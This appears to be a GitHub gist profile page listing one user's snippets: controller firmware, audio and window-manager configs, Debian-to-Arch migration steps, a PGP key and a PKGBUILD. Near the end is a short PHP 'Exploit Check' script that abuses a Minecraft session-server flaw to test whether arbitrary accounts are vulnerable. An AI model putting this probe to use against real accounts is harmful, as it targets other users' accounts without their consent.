Skip to content

Instantly share code, notes, and snippets.

View mbilker's full-sized avatar

Matthew Bilker mbilker

View GitHub Profile
/*
* IIDX Controller
* This code is developed for a Teense 3.1 by kiyoshigawa
* It is designed to be a fully functional input device for a beatmania IIDX custom controller.
* It is designed to run as a joystick, and as such this options must be selected as part of the board type.
*/
//Uncomment ENCODER_DEBUG to get serial feedback on encoder position.
//#define ENCODER_DEBUG
//Uncomment KEYPRESS_DEBUG to get feedback on key presses and releases sent
@mbilker
mbilker / usb-headset.sh
Created October 24, 2016 16:18 — forked from ef4/usb-headset.sh
Automatically switch all PulseAudio streams to a USB headset
#!/bin/bash
# Adapted from Erik Johnson's script at
# http://terminalmage.net/2011/11/17/setting-a-usb-headset-as-the-default-pulseaudio-device/
#
# Updated by Edward Faulkner <ef@alum.mit.edu> to move existing
# streams and eliminate the extra fork script.
# You'll need to change these to point at your headset device.
OUTPUT="alsa_output.usb-Generic_FREETALK_Everyman_0000000001-00-Everyman.analog-stereo"
set $mod Mod1
font pango:Terminus 9
floating_modifier $mod
hide_edge_borders both
bindsym $mod+Return exec termite
bindsym $mod+Shift+q kill
@mbilker
mbilker / replace-debian-with-arch.txt
Created January 28, 2016 16:52 — forked from m-ou-se/replace-debian-with-arch.txt
Instructions to replace a live Debian installation with Arch
# Download latest archlinux bootstrap package, see https://www.archlinux.org/download/
wget http://ftp.nluug.nl/os/Linux/distr/archlinux/iso/2016.01.01/archlinux-bootstrap-2016.01.01-x86_64.tar.gz
# Make sure you'll have enough entropy for pacman-key later.
apt-get install haveged
# Install the arch bootstrap image in a tmpfs.
mount -t tmpfs none /mnt
cd /mnt
tar xvf ~/archlinux-bootstrap-2016.01.01-x86_64.tar.gz --strip-components=1
@mbilker
mbilker / gist:0d11b766dc8f9f205e8e
Created December 3, 2015 06:13
Public Key for PGP 0x69ADF8AEB6C8B5D1
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v2
mQINBFVtOYcBEADg2AAPtuo47Xkx/uY44xHVd6LjawJ8bIPNGQGb3R1mzqutlA5P
GfCpS3VXfiwSwzJv2OGZFkyMgK+GcX/KbsOTKkIkc9A1d9h6QGqBNTinvsmo7nvG
uYX0jNTwMSTALW0GR2DGgWRpSDU6o5r2XnrQEGXzjLSGW/rB/Ati4ZCg1vDd6m1t
XLhUbh4kPxkp50M0UIyZxddgsDKwqQwyCy3TENejJ+edT/jXBBgBZ1TNxEGcm5mG
UrdUrgomiezf8l8Z3Uwaq9cJnbLiYQ/L4ZTVoQdTXSLXWbhMC8a82RqMQOExRKxM
T6PCy4sLmd4OfbKyVnKZ+0dWfd6mwG6e9GXsPpNKG48B/P6GxzfqAP7/Vhsj47MT
N1zw0+e9L1UygqHNdO7SK6LIVUZhDXqcxgmX6wjiRmgYk8JgPvgMJFVg9eih1R/T
parent sent secret key
parent sent secret key passphrase
secret key unlocked
parent sent encrypted message
Child sent message: { method: 5, timeElapsed: [ 3, 546998683 ] }
PgpKeyRing {
_keys:
{ '69adf8aeb6c8b5d1':
{ km: [Object],
is_primary: true,
@mbilker
mbilker / gist:7325f23a0090e936f339
Last active October 24, 2016 09:17
N1 PKGBUILD
# Upstream URL: https://github.com/nylas/N1
# Please do mind that pkgbuild will automagically update
# to latest tagged release (you could have problems if you use an aur helper),
# there's no need to manually change pkgver.
# Please don't flag out-of-date!
pkgname=nylas-git
pkgver=0.3.25.r63.g9236529
pkgrel=1
pkgdesc="Chrome-based email client from Nylas"
@mbilker
mbilker / keybase.md
Created November 15, 2015 04:21
Keybase proof

Keybase proof

I hereby claim:

  • I am mbilker on github.
  • I am mbilker (https://keybase.io/mbilker) on keybase.
  • I have a public key whose fingerprint is F3AC 2D1D C4BE 5912 2ACE B87D 69AD F8AE B6C8 B5D1

To claim this, I am signing this object:

@mbilker
mbilker / gist:3115762
Created July 15, 2012 07:42 — forked from ajvpot/gist:3115445
Exploit Check
<?php
$sessid = "herpderp"; //insert a session id from a migrated account here.
if(isset($_POST["name"]) && !empty($_POST["name"])){
$name=$_POST["name"];
$url="http://session.minecraft.net/game/joinserver.jsp?user=$name&sessionId=$sessid&serverId=a";
$res=file_get_contents($url);
if($res == "OK") die("<b><font color=green>The account ".htmlspecialchars($name)." is vulnerable.</font></b>");
if($res == "Bad login") die("<font color=red>The account ".htmlspecialchars($name)." is NOT vulnerable or is not migrated.</font>");
echo "Could not determine status of account ($res)";
}else{
@mbilker
mbilker / gist:3115752
Created July 15, 2012 07:41 — forked from md-5/gist:3115299
Minecraft Migrated Account Session Vulnerability
                  ████▓               
               ▓█▓▓▓▓▓██▒              
             ▒██▒▒▒▒▒▒▒▓█▓             
            ▓█▓▒▒▒▒▒▒▒▒▒▒██            
           ██▒▒▒▒▓███▓▒▒▒▒▓█▒          
         ▒█▓▒▓▓▓██▓░▓█▓▓▓▓▓▓█▓         
        ▓█▓▓▓▓▓██▓   ▒██▓▓▓▓▓██▒       
      ▒██▓▓▓▓███       ███▓▓▓▓██▓      
     ▓██▓█████▒         ▒█████████     

▒█████████ ▒▓▓▓▓▓▓▓▓▒▓█████████▒